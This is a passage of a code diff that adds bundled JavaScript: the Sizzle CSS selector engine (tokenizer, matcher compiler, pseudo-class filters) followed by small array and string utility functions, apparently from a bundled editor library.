+  }
+  function createInputPseudo(type) {
+    return function (elem) {
+      var name$$1 = elem.nodeName.toLowerCase();
+      return name$$1 === 'input' && elem.type === type;
+    };
+  }
+  function createButtonPseudo(type) {
+    return function (elem) {
+      var name$$1 = elem.nodeName.toLowerCase();
+      return (name$$1 === 'input' || name$$1 === 'button') && elem.type === type;
+    };
+  }
+  function createPositionalPseudo(fn) {
+    return markFunction(function (argument) {
+      argument = +argument;
+      return markFunction(function (seed, matches) {
+        var j, matchIndexes = fn([], seed.length, argument), i = matchIndexes.length;
+        while (i--) {
+          if (seed[j = matchIndexes[i]]) {
+            seed[j] = !(matches[j] = seed[j]);
+          }
+        }
+      });
+    });
+  }
+  function testContext(context) {
+    return context && typeof context.getElementsByTagName !== strundefined && context;
+  }
+  support = Sizzle.support = {};
+  isXML = Sizzle.isXML = function (elem) {
+    var documentElement = elem && (elem.ownerDocument || elem).documentElement;
+    return documentElement ? documentElement.nodeName !== 'HTML' : false;
+  };
+  setDocument = Sizzle.setDocument = function (node) {
+    var hasCompare, doc = node ? node.ownerDocument || node : preferredDoc, parent$$1 = doc.defaultView;
+    function getTop(win) {
+      try {
+        return win.top;
+      } catch (ex) {
+      }
+      return null;
+    }
+    if (doc === document$1 || doc.nodeType !== 9 || !doc.documentElement) {
+      return document$1;
+    }
+    document$1 = doc;
+    docElem = doc.documentElement;
+    documentIsHTML = !isXML(doc);
+    if (parent$$1 && parent$$1 !== getTop(parent$$1)) {
+      if (parent$$1.addEventListener) {
+        parent$$1.addEventListener('unload', function () {
+          setDocument();
+        }, false);
+      } else if (parent$$1.attachEvent) {
+        parent$$1.attachEvent('onunload', function () {
+          setDocument();
+        });
+      }
+    }
+    support.attributes = true;
+    support.getElementsByTagName = true;
+    support.getElementsByClassName = rnative.test(doc.getElementsByClassName);
+    support.getById = true;
+    Expr.find.ID = function (id, context) {
+      if (typeof context.getElementById !== strundefined && documentIsHTML) {
+        var m = context.getElementById(id);
+        return m && m.parentNode ? [m] : [];
+      }
+    };
+    Expr.filter.ID = function (id) {
+      var attrId = id.replace(runescape, funescape);
+      return function (elem) {
+        return elem.getAttribute('id') === attrId;
+      };
+    };
+    Expr.find.TAG = support.getElementsByTagName ? function (tag, context) {
+      if (typeof context.getElementsByTagName !== strundefined) {
+        return context.getElementsByTagName(tag);
+      }
+    } : function (tag, context) {
+      var elem, tmp = [], i = 0, results = context.getElementsByTagName(tag);
+      if (tag === '*') {
+        while (elem = results[i++]) {
+          if (elem.nodeType === 1) {
+            tmp.push(elem);
+          }
+        }
+        return tmp;
+      }
+      return results;
+    };
+    Expr.find.CLASS = support.getElementsByClassName && function (className, context) {
+      if (documentIsHTML) {
+        return context.getElementsByClassName(className);
+      }
+    };
+    rbuggyMatches = [];
+    rbuggyQSA = [];
+    support.disconnectedMatch = true;
+    rbuggyQSA = rbuggyQSA.length && new RegExp(rbuggyQSA.join('|'));
+    rbuggyMatches = rbuggyMatches.length && new RegExp(rbuggyMatches.join('|'));
+    hasCompare = rnative.test(docElem.compareDocumentPosition);
+    contains$1 = hasCompare || rnative.test(docElem.contains) ? function (a, b) {
+      var adown = a.nodeType === 9 ? a.documentElement : a, bup = b && b.parentNode;
+      return a === bup || !!(bup && bup.nodeType === 1 && (adown.contains ? adown.contains(bup) : a.compareDocumentPosition && a.compareDocumentPosition(bup) & 16));
+    } : function (a, b) {
+      if (b) {
+        while (b = b.parentNode) {
+          if (b === a) {
+            return true;
+          }
+        }
+      }
+      return false;
+    };
+    sortOrder = hasCompare ? function (a, b) {
+      if (a === b) {
+        hasDuplicate = true;
+        return 0;
+      }
+      var compare = !a.compareDocumentPosition - !b.compareDocumentPosition;
+      if (compare) {
+        return compare;
+      }
+      compare = (a.ownerDocument || a) === (b.ownerDocument || b) ? a.compareDocumentPosition(b) : 1;
+      if (compare & 1 || !support.sortDetached && b.compareDocumentPosition(a) === compare) {
+        if (a === doc || a.ownerDocument === preferredDoc && contains$1(preferredDoc, a)) {
+          return -1;
+        }
+        if (b === doc || b.ownerDocument === preferredDoc && contains$1(preferredDoc, b)) {
+          return 1;
+        }
+        return sortInput ? indexOf$1.call(sortInput, a) - indexOf$1.call(sortInput, b) : 0;
+      }
+      return compare & 4 ? -1 : 1;
+    } : function (a, b) {
+      if (a === b) {
+        hasDuplicate = true;
+        return 0;
+      }
+      var cur, i = 0, aup = a.parentNode, bup = b.parentNode, ap = [a], bp = [b];
+      if (!aup || !bup) {
+        return a === doc ? -1 : b === doc ? 1 : aup ? -1 : bup ? 1 : sortInput ? indexOf$1.call(sortInput, a) - indexOf$1.call(sortInput, b) : 0;
+      } else if (aup === bup) {
+        return siblingCheck(a, b);
+      }
+      cur = a;
+      while (cur = cur.parentNode) {
+        ap.unshift(cur);
+      }
+      cur = b;
+      while (cur = cur.parentNode) {
+        bp.unshift(cur);
+      }
+      while (ap[i] === bp[i]) {
+        i++;
+      }
+      return i ? siblingCheck(ap[i], bp[i]) : ap[i] === preferredDoc ? -1 : bp[i] === preferredDoc ? 1 : 0;
+    };
+    return doc;
+  };
+  Sizzle.matches = function (expr, elements) {
+    return Sizzle(expr, null, null, elements);
+  };
+  Sizzle.matchesSelector = function (elem, expr) {
+    if ((elem.ownerDocument || elem) !== document$1) {
+      setDocument(elem);
+    }
+    expr = expr.replace(rattributeQuotes, '=\'$1\']');
+    if (support.matchesSelector && documentIsHTML && (!rbuggyMatches || !rbuggyMatches.test(expr)) && (!rbuggyQSA || !rbuggyQSA.test(expr))) {
+      try {
+        var ret = matches.call(elem, expr);
+        if (ret || support.disconnectedMatch || elem.document && elem.document.nodeType !== 11) {
+          return ret;
+        }
+      } catch (e) {
+      }
+    }
+    return Sizzle(expr, document$1, null, [elem]).length > 0;
+  };
+  Sizzle.contains = function (context, elem) {
+    if ((context.ownerDocument || context) !== document$1) {
+      setDocument(context);
+    }
+    return contains$1(context, elem);
+  };
+  Sizzle.attr = function (elem, name$$1) {
+    if ((elem.ownerDocument || elem) !== document$1) {
+      setDocument(elem);
+    }
+    var fn = Expr.attrHandle[name$$1.toLowerCase()], val = fn && hasOwn.call(Expr.attrHandle, name$$1.toLowerCase()) ? fn(elem, name$$1, !documentIsHTML) : undefined;
+    return val !== undefined ? val : support.attributes || !documentIsHTML ? elem.getAttribute(name$$1) : (val = elem.getAttributeNode(name$$1)) && val.specified ? val.value : null;
+  };
+  Sizzle.error = function (msg) {
+    throw new Error('Syntax error, unrecognized expression: ' + msg);
+  };
+  Sizzle.uniqueSort = function (results) {
+    var elem, duplicates = [], j = 0, i = 0;
+    hasDuplicate = !support.detectDuplicates;
+    sortInput = !support.sortStable && results.slice(0);
+    results.sort(sortOrder);
+    if (hasDuplicate) {
+      while (elem = results[i++]) {
+        if (elem === results[i]) {
+          j = duplicates.push(i);
+        }
+      }
+      while (j--) {
+        results.splice(duplicates[j], 1);
+      }
+    }
+    sortInput = null;
+    return results;
+  };
+  getText = Sizzle.getText = function (elem) {
+    var node, ret = '', i = 0, nodeType = elem.nodeType;
+    if (!nodeType) {
+      while (node = elem[i++]) {
+        ret += getText(node);
+      }
+    } else if (nodeType === 1 || nodeType === 9 || nodeType === 11) {
+      if (typeof elem.textContent === 'string') {
+        return elem.textContent;
+      } else {
+        for (elem = elem.firstChild; elem; elem = elem.nextSibling) {
+          ret += getText(elem);
+        }
+      }
+    } else if (nodeType === 3 || nodeType === 4) {
+      return elem.nodeValue;
+    }
+    return ret;
+  };
+  Expr = Sizzle.selectors = {
+    cacheLength: 50,
+    createPseudo: markFunction,
+    match: matchExpr,
+    attrHandle: {},
+    find: {},
+    relative: {
+      '>': {
+        dir: 'parentNode',
+        first: true
+      },
+      ' ': { dir: 'parentNode' },
+      '+': {
+        dir: 'previousSibling',
+        first: true
+      },
+      '~': { dir: 'previousSibling' }
+    },
+    preFilter: {
+      ATTR: function (match) {
+        match[1] = match[1].replace(runescape, funescape);
+        match[3] = (match[3] || match[4] || match[5] || '').replace(runescape, funescape);
+        if (match[2] === '~=') {
+          match[3] = ' ' + match[3] + ' ';
+        }
+        return match.slice(0, 4);
+      },
+      CHILD: function (match) {
+        match[1] = match[1].toLowerCase();
+        if (match[1].slice(0, 3) === 'nth') {
+          if (!match[3]) {
+            Sizzle.error(match[0]);
+          }
+          match[4] = +(match[4] ? match[5] + (match[6] || 1) : 2 * (match[3] === 'even' || match[3] === 'odd'));
+          match[5] = +(match[7] + match[8] || match[3] === 'odd');
+        } else if (match[3]) {
+          Sizzle.error(match[0]);
+        }
+        return match;
+      },
+      PSEUDO: function (match) {
+        var excess, unquoted = !match[6] && match[2];
+        if (matchExpr.CHILD.test(match[0])) {
+          return null;
+        }
+        if (match[3]) {
+          match[2] = match[4] || match[5] || '';
+        } else if (unquoted && rpseudo.test(unquoted) && (excess = tokenize(unquoted, true)) && (excess = unquoted.indexOf(')', unquoted.length - excess) - unquoted.length)) {
+          match[0] = match[0].slice(0, excess);
+          match[2] = unquoted.slice(0, excess);
+        }
+        return match.slice(0, 3);
+      }
+    },
+    filter: {
+      TAG: function (nodeNameSelector) {
+        var nodeName = nodeNameSelector.replace(runescape, funescape).toLowerCase();
+        return nodeNameSelector === '*' ? function () {
+          return true;
+        } : function (elem) {
+          return elem.nodeName && elem.nodeName.toLowerCase() === nodeName;
+        };
+      },
+      CLASS: function (className) {
+        var pattern = classCache[className + ' '];
+        return pattern || (pattern = new RegExp('(^|' + whitespace + ')' + className + '(' + whitespace + '|$)')) && classCache(className, function (elem) {
+          return pattern.test(typeof elem.className === 'string' && elem.className || typeof elem.getAttribute !== strundefined && elem.getAttribute('class') || '');
+        });
+      },
+      ATTR: function (name$$1, operator, check) {
+        return function (elem) {
+          var result = Sizzle.attr(elem, name$$1);
+          if (result == null) {
+            return operator === '!=';
+          }
+          if (!operator) {
+            return true;
+          }
+          result += '';
+          return operator === '=' ? result === check : operator === '!=' ? result !== check : operator === '^=' ? check && result.indexOf(check) === 0 : operator === '*=' ? check && result.indexOf(check) > -1 : operator === '$=' ? check && result.slice(-check.length) === check : operator === '~=' ? (' ' + result + ' ').indexOf(check) > -1 : operator === '|=' ? result === check || result.slice(0, check.length + 1) === check + '-' : false;
+        };
+      },
+      CHILD: function (type, what, argument, first, last) {
+        var simple = type.slice(0, 3) !== 'nth', forward = type.slice(-4) !== 'last', ofType = what === 'of-type';
+        return first === 1 && last === 0 ? function (elem) {
+          return !!elem.parentNode;
+        } : function (elem, context, xml) {
+          var cache, outerCache, node, diff, nodeIndex, start, dir = simple !== forward ? 'nextSibling' : 'previousSibling', parent$$1 = elem.parentNode, name$$1 = ofType && elem.nodeName.toLowerCase(), useCache = !xml && !ofType;
+          if (parent$$1) {
+            if (simple) {
+              while (dir) {
+                node = elem;
+                while (node = node[dir]) {
+                  if (ofType ? node.nodeName.toLowerCase() === name$$1 : node.nodeType === 1) {
+                    return false;
+                  }
+                }
+                start = dir = type === 'only' && !start && 'nextSibling';
+              }
+              return true;
+            }
+            start = [forward ? parent$$1.firstChild : parent$$1.lastChild];
+            if (forward && useCache) {
+              outerCache = parent$$1[expando] || (parent$$1[expando] = {});
+              cache = outerCache[type] || [];
+              nodeIndex = cache[0] === dirruns && cache[1];
+              diff = cache[0] === dirruns && cache[2];
+              node = nodeIndex && parent$$1.childNodes[nodeIndex];
+              while (node = ++nodeIndex && node && node[dir] || (diff = nodeIndex = 0) || start.pop()) {
+                if (node.nodeType === 1 && ++diff && node === elem) {
+                  outerCache[type] = [
+                    dirruns,
+                    nodeIndex,
+                    diff
+                  ];
+                  break;
+                }
+              }
+            } else if (useCache && (cache = (elem[expando] || (elem[expando] = {}))[type]) && cache[0] === dirruns) {
+              diff = cache[1];
+            } else {
+              while (node = ++nodeIndex && node && node[dir] || (diff = nodeIndex = 0) || start.pop()) {
+                if ((ofType ? node.nodeName.toLowerCase() === name$$1 : node.nodeType === 1) && ++diff) {
+                  if (useCache) {
+                    (node[expando] || (node[expando] = {}))[type] = [
+                      dirruns,
+                      diff
+                    ];
+                  }
+                  if (node === elem) {
+                    break;
+                  }
+                }
+              }
+            }
+            diff -= last;
+            return diff === first || diff % first === 0 && diff / first >= 0;
+          }
+        };
+      },
+      PSEUDO: function (pseudo, argument) {
+        var args, fn = Expr.pseudos[pseudo] || Expr.setFilters[pseudo.toLowerCase()] || Sizzle.error('unsupported pseudo: ' + pseudo);
+        if (fn[expando]) {
+          return fn(argument);
+        }
+        if (fn.length > 1) {
+          args = [
+            pseudo,
+            pseudo,
+            '',
+            argument
+          ];
+          return Expr.setFilters.hasOwnProperty(pseudo.toLowerCase()) ? markFunction(function (seed, matches) {
+            var idx, matched = fn(seed, argument), i = matched.length;
+            while (i--) {
+              idx = indexOf$1.call(seed, matched[i]);
+              seed[idx] = !(matches[idx] = matched[i]);
+            }
+          }) : function (elem) {
+            return fn(elem, 0, args);
+          };
+        }
+        return fn;
+      }
+    },
+    pseudos: {
+      not: markFunction(function (selector) {
+        var input = [], results = [], matcher = compile(selector.replace(rtrim, '$1'));
+        return matcher[expando] ? markFunction(function (seed, matches, context, xml) {
+          var elem, unmatched = matcher(seed, null, xml, []), i = seed.length;
+          while (i--) {
+            if (elem = unmatched[i]) {
+              seed[i] = !(matches[i] = elem);
+            }
+          }
+        }) : function (elem, context, xml) {
+          input[0] = elem;
+          matcher(input, null, xml, results);
+          return !results.pop();
+        };
+      }),
+      has: markFunction(function (selector) {
+        return function (elem) {
+          return Sizzle(selector, elem).length > 0;
+        };
+      }),
+      contains: markFunction(function (text) {
+        text = text.replace(runescape, funescape);
+        return function (elem) {
+          return (elem.textContent || elem.innerText || getText(elem)).indexOf(text) > -1;
+        };
+      }),
+      lang: markFunction(function (lang) {
+        if (!ridentifier.test(lang || '')) {
+          Sizzle.error('unsupported lang: ' + lang);
+        }
+        lang = lang.replace(runescape, funescape).toLowerCase();
+        return function (elem) {
+          var elemLang;
+          do {
+            if (elemLang = documentIsHTML ? elem.lang : elem.getAttribute('xml:lang') || elem.getAttribute('lang')) {
+              elemLang = elemLang.toLowerCase();
+              return elemLang === lang || elemLang.indexOf(lang + '-') === 0;
+            }
+          } while ((elem = elem.parentNode) && elem.nodeType === 1);
+          return false;
+        };
+      }),
+      target: function (elem) {
+        var hash = window.location && window.location.hash;
+        return hash && hash.slice(1) === elem.id;
+      },
+      root: function (elem) {
+        return elem === docElem;
+      },
+      focus: function (elem) {
+        return elem === document$1.activeElement && (!document$1.hasFocus || document$1.hasFocus()) && !!(elem.type || elem.href || ~elem.tabIndex);
+      },
+      enabled: function (elem) {
+        return elem.disabled === false;
+      },
+      disabled: function (elem) {
+        return elem.disabled === true;
+      },
+      checked: function (elem) {
+        var nodeName = elem.nodeName.toLowerCase();
+        return nodeName === 'input' && !!elem.checked || nodeName === 'option' && !!elem.selected;
+      },
+      selected: function (elem) {
+        if (elem.parentNode) {
+          elem.parentNode.selectedIndex;
+        }
+        return elem.selected === true;
+      },
+      empty: function (elem) {
+        for (elem = elem.firstChild; elem; elem = elem.nextSibling) {
+          if (elem.nodeType < 6) {
+            return false;
+          }
+        }
+        return true;
+      },
+      parent: function (elem) {
+        return !Expr.pseudos.empty(elem);
+      },
+      header: function (elem) {
+        return rheader.test(elem.nodeName);
+      },
+      input: function (elem) {
+        return rinputs.test(elem.nodeName);
+      },
+      button: function (elem) {
+        var name$$1 = elem.nodeName.toLowerCase();
+        return name$$1 === 'input' && elem.type === 'button' || name$$1 === 'button';
+      },
+      text: function (elem) {
+        var attr;
+        return elem.nodeName.toLowerCase() === 'input' && elem.type === 'text' && ((attr = elem.getAttribute('type')) == null || attr.toLowerCase() === 'text');
+      },
+      first: createPositionalPseudo(function () {
+        return [0];
+      }),
+      last: createPositionalPseudo(function (matchIndexes, length$$1) {
+        return [length$$1 - 1];
+      }),
+      eq: createPositionalPseudo(function (matchIndexes, length$$1, argument) {
+        return [argument < 0 ? argument + length$$1 : argument];
+      }),
+      even: createPositionalPseudo(function (matchIndexes, length$$1) {
+        var i = 0;
+        for (; i < length$$1; i += 2) {
+          matchIndexes.push(i);
+        }
+        return matchIndexes;
+      }),
+      odd: createPositionalPseudo(function (matchIndexes, length$$1) {
+        var i = 1;
+        for (; i < length$$1; i += 2) {
+          matchIndexes.push(i);
+        }
+        return matchIndexes;
+      }),
+      lt: createPositionalPseudo(function (matchIndexes, length$$1, argument) {
+        var i = argument < 0 ? argument + length$$1 : argument;
+        for (; --i >= 0;) {
+          matchIndexes.push(i);
+        }
+        return matchIndexes;
+      }),
+      gt: createPositionalPseudo(function (matchIndexes, length$$1, argument) {
+        var i = argument < 0 ? argument + length$$1 : argument;
+        for (; ++i < length$$1;) {
+          matchIndexes.push(i);
+        }
+        return matchIndexes;
+      })
+    }
+  };
+  Expr.pseudos.nth = Expr.pseudos.eq;
+  for (i in {
+      radio: true,
+      checkbox: true,
+      file: true,
+      password: true,
+      image: true
+    }) {
+    Expr.pseudos[i] = createInputPseudo(i);
+  }
+  for (i in {
+      submit: true,
+      reset: true
+    }) {
+    Expr.pseudos[i] = createButtonPseudo(i);
+  }
+  function setFilters() {
+  }
+  setFilters.prototype = Expr.filters = Expr.pseudos;
+  Expr.setFilters = new setFilters();
+  tokenize = Sizzle.tokenize = function (selector, parseOnly) {
+    var matched, match, tokens, type, soFar, groups, preFilters, cached = tokenCache[selector + ' '];
+    if (cached) {
+      return parseOnly ? 0 : cached.slice(0);
+    }
+    soFar = selector;
+    groups = [];
+    preFilters = Expr.preFilter;
+    while (soFar) {
+      if (!matched || (match = rcomma.exec(soFar))) {
+        if (match) {
+          soFar = soFar.slice(match[0].length) || soFar;
+        }
+        groups.push(tokens = []);
+      }
+      matched = false;
+      if (match = rcombinators.exec(soFar)) {
+        matched = match.shift();
+        tokens.push({
+          value: matched,
+          type: match[0].replace(rtrim, ' ')
+        });
+        soFar = soFar.slice(matched.length);
+      }
+      for (type in Expr.filter) {
+        if ((match = matchExpr[type].exec(soFar)) && (!preFilters[type] || (match = preFilters[type](match)))) {
+          matched = match.shift();
+          tokens.push({
+            value: matched,
+            type: type,
+            matches: match
+          });
+          soFar = soFar.slice(matched.length);
+        }
+      }
+      if (!matched) {
+        break;
+      }
+    }
+    return parseOnly ? soFar.length : soFar ? Sizzle.error(selector) : tokenCache(selector, groups).slice(0);
+  };
+  function toSelector(tokens) {
+    var i = 0, len = tokens.length, selector = '';
+    for (; i < len; i++) {
+      selector += tokens[i].value;
+    }
+    return selector;
+  }
+  function addCombinator(matcher, combinator, base) {
+    var dir = combinator.dir, checkNonElements = base && dir === 'parentNode', doneName = done++;
+    return combinator.first ? function (elem, context, xml) {
+      while (elem = elem[dir]) {
+        if (elem.nodeType === 1 || checkNonElements) {
+          return matcher(elem, context, xml);
+        }
+      }
+    } : function (elem, context, xml) {
+      var oldCache, outerCache, newCache = [
+          dirruns,
+          doneName
+        ];
+      if (xml) {
+        while (elem = elem[dir]) {
+          if (elem.nodeType === 1 || checkNonElements) {
+            if (matcher(elem, context, xml)) {
+              return true;
+            }
+          }
+        }
+      } else {
+        while (elem = elem[dir]) {
+          if (elem.nodeType === 1 || checkNonElements) {
+            outerCache = elem[expando] || (elem[expando] = {});
+            if ((oldCache = outerCache[dir]) && oldCache[0] === dirruns && oldCache[1] === doneName) {
+              return newCache[2] = oldCache[2];
+            } else {
+              outerCache[dir] = newCache;
+              if (newCache[2] = matcher(elem, context, xml)) {
+                return true;
+              }
+            }
+          }
+        }
+      }
+    };
+  }
+  function elementMatcher(matchers) {
+    return matchers.length > 1 ? function (elem, context, xml) {
+      var i = matchers.length;
+      while (i--) {
+        if (!matchers[i](elem, context, xml)) {
+          return false;
+        }
+      }
+      return true;
+    } : matchers[0];
+  }
+  function multipleContexts(selector, contexts, results) {
+    var i = 0, len = contexts.length;
+    for (; i < len; i++) {
+      Sizzle(selector, contexts[i], results);
+    }
+    return results;
+  }
+  function condense(unmatched, map, filter, context, xml) {
+    var elem, newUnmatched = [], i = 0, len = unmatched.length, mapped = map != null;
+    for (; i < len; i++) {
+      if (elem = unmatched[i]) {
+        if (!filter || filter(elem, context, xml)) {
+          newUnmatched.push(elem);
+          if (mapped) {
+            map.push(i);
+          }
+        }
+      }
+    }
+    return newUnmatched;
+  }
+  function setMatcher(preFilter, selector, matcher, postFilter, postFinder, postSelector) {
+    if (postFilter && !postFilter[expando]) {
+      postFilter = setMatcher(postFilter);
+    }
+    if (postFinder && !postFinder[expando]) {
+      postFinder = setMatcher(postFinder, postSelector);
+    }
+    return markFunction(function (seed, results, context, xml) {
+      var temp, i, elem, preMap = [], postMap = [], preexisting = results.length, elems = seed || multipleContexts(selector || '*', context.nodeType ? [context] : context, []), matcherIn = preFilter && (seed || !selector) ? condense(elems, preMap, preFilter, context, xml) : elems, matcherOut = matcher ? postFinder || (seed ? preFilter : preexisting || postFilter) ? [] : results : matcherIn;
+      if (matcher) {
+        matcher(matcherIn, matcherOut, context, xml);
+      }
+      if (postFilter) {
+        temp = condense(matcherOut, postMap);
+        postFilter(temp, [], context, xml);
+        i = temp.length;
+        while (i--) {
+          if (elem = temp[i]) {
+            matcherOut[postMap[i]] = !(matcherIn[postMap[i]] = elem);
+          }
+        }
+      }
+      if (seed) {
+        if (postFinder || preFilter) {
+          if (postFinder) {
+            temp = [];
+            i = matcherOut.length;
+            while (i--) {
+              if (elem = matcherOut[i]) {
+                temp.push(matcherIn[i] = elem);
+              }
+            }
+            postFinder(null, matcherOut = [], temp, xml);
+          }
+          i = matcherOut.length;
+          while (i--) {
+            if ((elem = matcherOut[i]) && (temp = postFinder ? indexOf$1.call(seed, elem) : preMap[i]) > -1) {
+              seed[temp] = !(results[temp] = elem);
+            }
+          }
+        }
+      } else {
+        matcherOut = condense(matcherOut === results ? matcherOut.splice(preexisting, matcherOut.length) : matcherOut);
+        if (postFinder) {
+          postFinder(null, results, matcherOut, xml);
+        } else {
+          push$1.apply(results, matcherOut);
+        }
+      }
+    });
+  }
+  function matcherFromTokens(tokens) {
+    var checkContext, matcher, j, len = tokens.length, leadingRelative = Expr.relative[tokens[0].type], implicitRelative = leadingRelative || Expr.relative[' '], i = leadingRelative ? 1 : 0, matchContext = addCombinator(function (elem) {
+        return elem === checkContext;
+      }, implicitRelative, true), matchAnyContext = addCombinator(function (elem) {
+        return indexOf$1.call(checkContext, elem) > -1;
+      }, implicitRelative, true), matchers = [function (elem, context, xml) {
+          return !leadingRelative && (xml || context !== outermostContext) || ((checkContext = context).nodeType ? matchContext(elem, context, xml) : matchAnyContext(elem, context, xml));
+        }];
+    for (; i < len; i++) {
+      if (matcher = Expr.relative[tokens[i].type]) {
+        matchers = [addCombinator(elementMatcher(matchers), matcher)];
+      } else {
+        matcher = Expr.filter[tokens[i].type].apply(null, tokens[i].matches);
+        if (matcher[expando]) {
+          j = ++i;
+          for (; j < len; j++) {
+            if (Expr.relative[tokens[j].type]) {
+              break;
+            }
+          }
+          return setMatcher(i > 1 && elementMatcher(matchers), i > 1 && toSelector(tokens.slice(0, i - 1).concat({ value: tokens[i - 2].type === ' ' ? '*' : '' })).replace(rtrim, '$1'), matcher, i < j && matcherFromTokens(tokens.slice(i, j)), j < len && matcherFromTokens(tokens = tokens.slice(j)), j < len && toSelector(tokens));
+        }
+        matchers.push(matcher);
+      }
+    }
+    return elementMatcher(matchers);
+  }
+  function matcherFromGroupMatchers(elementMatchers, setMatchers) {
+    var bySet = setMatchers.length > 0, byElement = elementMatchers.length > 0, superMatcher = function (seed, context, xml, results, outermost) {
+        var elem, j, matcher, matchedCount = 0, i = '0', unmatched = seed && [], setMatched = [], contextBackup = outermostContext, elems = seed || byElement && Expr.find.TAG('*', outermost), dirrunsUnique = dirruns += contextBackup == null ? 1 : Math.random() || 0.1, len = elems.length;
+        if (outermost) {
+          outermostContext = context !== document$1 && context;
+        }
+        for (; i !== len && (elem = elems[i]) != null; i++) {
+          if (byElement && elem) {
+            j = 0;
+            while (matcher = elementMatchers[j++]) {
+              if (matcher(elem, context, xml)) {
+                results.push(elem);
+                break;
+              }
+            }
+            if (outermost) {
+              dirruns = dirrunsUnique;
+            }
+          }
+          if (bySet) {
+            if (elem = !matcher && elem) {
+              matchedCount--;
+            }
+            if (seed) {
+              unmatched.push(elem);
+            }
+          }
+        }
+        matchedCount += i;
+        if (bySet && i !== matchedCount) {
+          j = 0;
+          while (matcher = setMatchers[j++]) {
+            matcher(unmatched, setMatched, context, xml);
+          }
+          if (seed) {
+            if (matchedCount > 0) {
+              while (i--) {
+                if (!(unmatched[i] || setMatched[i])) {
+                  setMatched[i] = pop.call(results);
+                }
+              }
+            }
+            setMatched = condense(setMatched);
+          }
+          push$1.apply(results, setMatched);
+          if (outermost && !seed && setMatched.length > 0 && matchedCount + setMatchers.length > 1) {
+            Sizzle.uniqueSort(results);
+          }
+        }
+        if (outermost) {
+          dirruns = dirrunsUnique;
+          outermostContext = contextBackup;
+        }
+        return unmatched;
+      };
+    return bySet ? markFunction(superMatcher) : superMatcher;
+  }
+  compile = Sizzle.compile = function (selector, match) {
+    var i, setMatchers = [], elementMatchers = [], cached = compilerCache[selector + ' '];
+    if (!cached) {
+      if (!match) {
+        match = tokenize(selector);
+      }
+      i = match.length;
+      while (i--) {
+        cached = matcherFromTokens(match[i]);
+        if (cached[expando]) {
+          setMatchers.push(cached);
+        } else {
+          elementMatchers.push(cached);
+        }
+      }
+      cached = compilerCache(selector, matcherFromGroupMatchers(elementMatchers, setMatchers));
+      cached.selector = selector;
+    }
+    return cached;
+  };
+  select = Sizzle.select = function (selector, context, results, seed) {
+    var i, tokens, token, type, find, compiled = typeof selector === 'function' && selector, match = !seed && tokenize(selector = compiled.selector || selector);
+    results = results || [];
+    if (match.length === 1) {
+      tokens = match[0] = match[0].slice(0);
+      if (tokens.length > 2 && (token = tokens[0]).type === 'ID' && support.getById && context.nodeType === 9 && documentIsHTML && Expr.relative[tokens[1].type]) {
+        context = (Expr.find.ID(token.matches[0].replace(runescape, funescape), context) || [])[0];
+        if (!context) {
+          return results;
+        } else if (compiled) {
+          context = context.parentNode;
+        }
+        selector = selector.slice(tokens.shift().value.length);
+      }
+      i = matchExpr.needsContext.test(selector) ? 0 : tokens.length;
+      while (i--) {
+        token = tokens[i];
+        if (Expr.relative[type = token.type]) {
+          break;
+        }
+        if (find = Expr.find[type]) {
+          if (seed = find(token.matches[0].replace(runescape, funescape), rsibling.test(tokens[0].type) && testContext(context.parentNode) || context)) {
+            tokens.splice(i, 1);
+            selector = seed.length && toSelector(tokens);
+            if (!selector) {
+              push$1.apply(results, seed);
+              return results;
+            }
+            break;
+          }
+        }
+      }
+    }
+    (compiled || compile(selector, match))(seed, context, !documentIsHTML, results, rsibling.test(selector) && testContext(context.parentNode) || context);
+    return results;
+  };
+  support.sortStable = expando.split('').sort(sortOrder).join('') === expando;
+  support.detectDuplicates = !!hasDuplicate;
+  setDocument();
+  support.sortDetached = true;
+
+  var isArray$1 = Array.isArray;
+  var toArray = function (obj) {
+    var array = obj, i, l;
+    if (!isArray$1(obj)) {
+      array = [];
+      for (i = 0, l = obj.length; i < l; i++) {
+        array[i] = obj[i];
+      }
+    }
+    return array;
+  };
+  var each$1 = function (o, cb, s) {
+    var n, l;
+    if (!o) {
+      return 0;
+    }
+    s = s || o;
+    if (o.length !== undefined) {
+      for (n = 0, l = o.length; n < l; n++) {
+        if (cb.call(s, o[n], n, o) === false) {
+          return 0;
+        }
+      }
+    } else {
+      for (n in o) {
+        if (o.hasOwnProperty(n)) {
+          if (cb.call(s, o[n], n, o) === false) {
+            return 0;
+          }
+        }
+      }
+    }
+    return 1;
+  };
+  var map$1 = function (array, callback) {
+    var out = [];
+    each$1(array, function (item, index) {
+      out.push(callback(item, index, array));
+    });
+    return out;
+  };
+  var filter$1 = function (a, f) {
+    var o = [];
+    each$1(a, function (v, index) {
+      if (!f || f(v, index, a)) {
+        o.push(v);
+      }
+    });
+    return o;
+  };
+  var indexOf$2 = function (a, v) {
+    var i, l;
+    if (a) {
+      for (i = 0, l = a.length; i < l; i++) {
+        if (a[i] === v) {
+          return i;
+        }
+      }
+    }
+    return -1;
+  };
+  var reduce = function (collection, iteratee, accumulator, thisArg) {
+    var i = 0;
+    if (arguments.length < 3) {
+      accumulator = collection[0];
+    }
+    for (; i < collection.length; i++) {
+      accumulator = iteratee.call(thisArg, accumulator, collection[i], i);
+    }
+    return accumulator;
+  };
+  var findIndex$1 = function (array, predicate, thisArg) {
+    var i, l;
+    for (i = 0, l = array.length; i < l; i++) {
+      if (predicate.call(thisArg, array[i], i, array)) {
+        return i;
+      }
+    }
+    return -1;
+  };
+  var find$1 = function (array, predicate, thisArg) {
+    var idx = findIndex$1(array, predicate, thisArg);
+    if (idx !== -1) {
+      return array[idx];
+    }
+    return undefined;
+  };
+  var last$1 = function (collection) {
+    return collection[collection.length - 1];
+  };
+  var $_6t4axrmjjgwe7jf = {
+    isArray: isArray$1,
+    toArray: toArray,
+    each: each$1,
+    map: map$1,
+    filter: filter$1,
+    indexOf: indexOf$2,
+    reduce: reduce,
+    findIndex: findIndex$1,
+    find: find$1,
+    last: last$1
+  };
+
+  var whiteSpaceRegExp = /^\s*|\s*$/g;
+  var trim = function (str) {
+    return str === null || str === undefined ? '' : ('' + str).replace(whiteSpaceRegExp, '');
+  };
+  var is = function (obj, type) {
+    if (!type) {
+      return obj !== undefined;
+    }
+    if (type === 'array' && $_6t4axrmjjgwe7jf.isArray(obj)) {
+      return true;
+    }
+    return typeof obj === type;
+  };
+  var makeMap = function (items, delim, map) {
+    var i;
+    items = items || [];
+    delim = delim || ',';
+    if (typeof items === 'string') {
+      items = items.split(delim);
+    }
+    map = map || {};
+    i = items.length;
+    while (i--) {
+      map[items[i]] = {};
+    }
+    return map;
+  };
